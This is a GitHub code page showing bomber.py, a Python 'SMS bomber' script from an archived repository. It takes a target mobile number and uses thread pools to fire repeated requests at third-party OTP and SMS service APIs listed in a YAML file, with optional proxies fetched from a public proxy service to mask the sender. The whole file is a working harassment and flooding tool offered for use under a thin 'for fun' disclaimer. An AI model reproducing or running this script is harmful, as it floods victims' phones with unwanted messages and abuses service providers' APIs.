This repository has been archived by the owner on Dec 25, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 144
/
bomber.py
executable file
·189 lines (172 loc) · 5.33 KB
/
bomber.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#!/usr/bin/env python3
# SPDX-License-Identifier: GPL-3.0-or-later
from concurrent.futures import ThreadPoolExecutor, as_completed
from utils import APIRequestsHandler, CustomArgumentParser
import requests
import random
import time
from yaml import load
try:
from yaml import CLoader as Loader
except ImportError:
from yaml import Loader
ascii_art = r"""
__ __ _ _ _ _
\ \ / /___ | |_ /_\ _ _ ___ | |_ | |_ ___ _ _
\ V // -_)| _| / _ \ | ' \ / _ \| _|| ' \ / -_)| '_|
|_| \___| \__| /_/ \_\|_||_|\___/ \__||_||_|\___||_|
___ __ __ ___ ___ _
/ __|| \/ |/ __| | _ ) ___ _ __ | |__ ___ _ _
\__ \| |\/| |\__ \ | _ \/ _ \| ' \ | '_ \/ -_)| '_|
|___/|_| |_||___/ |___/\___/|_|_|_||_.__/\___||_|
"""
parser = CustomArgumentParser(
allow_abbrev=False,
add_help=False,
description="YetAnotherSMSBomber - A clean, small and powerful SMS bomber script.",
epilog="Use this for fun, not for revenge or bullying!",
)
parser.add_argument(
"target",
metavar="TARGET",
type=lambda x: (13 >= len(str(int(x))) >= 4)
and int(x)
or parser.error('"%s" is an invalid mobile number!' % int(x)),
help="Target mobile number without country code.",
)
parser.add_argument(
"--config-path",
"-c",
default="services.yaml",
help="Path to API services file. (NOTE: the file must be in proper YAML format!)",
)
parser.add_argument(
"--num", "-N", type=int, help="Number of SMSs to send to TARGET.", default=30
)
parser.add_argument(
"--country",
"-C",
type=int,
help="Country code without (+) sign.",
default=91,
)
parser.add_argument(
"--threads",
"-T",
type=int,
help="Max number of concurrent HTTP(s) requests.",
default=15,
)
parser.add_argument(
"--timeout",
"-t",
type=int,
help="Time (in seconds) to wait for an API request to complete.",
default=10,
)
parser.add_argument(
"--proxy",
"-P",
action="store_true",
help="Use proxy for bombing. (Recommended for large number of SMSs)",
)
parser.add_argument(
"--verbose",
"-v",
action="store_true",
help="Enables verbose output, for debugging.",
)
parser.add_argument(
"--verify",
"-V",
action="store_true",
help="To verify all providers are working or not.",
)
parser.add_argument("-h", "--help", action="help", help="Display this message.")
args = parser.parse_args()
# config loading
config = args.config_path
target = str(args.target)
country_code = str(args.country)
no_of_threads = args.threads
no_of_sms = args.num
failed, success = 0, 0
print(ascii_art)
not args.verbose and not args.verify and print(
f"Target: {target} | Threads: {no_of_threads} | SMS-Bombs: {no_of_sms}"
)
# proxy setup
def get_proxy():
args.verbose and print("Fetching proxies from server.....")
curl = requests.get("http://pubproxy.com/api/proxy?format=txt").text
if "http://pubproxy.com/#premium" in curl:
args.verbose and print(
"Proxy limitation error, proceeding without a proxy now.."
)
return
args.verbose and print(f"Using Proxy: {curl}")
return {"http": curl, "https": curl}
proxies = get_proxy() if args.proxy else None
# threadsssss
start = time.time()
providers = (load(open(config, "r"), Loader=Loader))["providers"]
if args.verify:
pall = [p for x in providers.values() for p in x]
print(f"Processing {len(pall)} providers, please wait!\n")
with ThreadPoolExecutor(max_workers=len(pall)) as executor:
jobs = [
executor.submit(
(
APIRequestsHandler(
target,
proxy=proxies,
verbose=args.verbose,
verify=True,
timeout=args.timeout,
cc=country_code,
config=config,
)
).start
)
for config in pall
]
for job in as_completed(jobs):
result = job.result()
if result:
success += 1
else:
failed += 1
else:
while success < no_of_sms:
with ThreadPoolExecutor(max_workers=no_of_threads) as executor:
jobs = []
for _ in range(no_of_sms - success):
p = APIRequestsHandler(
target,
proxy=proxies,
verbose=args.verbose,
timeout=args.timeout,
cc=country_code,
config=random.choice(
providers[country_code] + providers["multi"]
if country_code in providers
else providers["multi"]
),
)
jobs.append(executor.submit(p.start))
for job in as_completed(jobs):
if result := job.result():
success += 1
else:
failed += 1
not args.verbose and print(
f"Requests: {success+failed} | Success: {success} | Failed: {failed}",
end="\r",
)
end = time.time()
# finalize
if args.verbose or args.verify:
print(f"\nSuccess: {success} | Failed: {failed}")
else:
print()
print(f"Took {end-start:.2f}s to complete")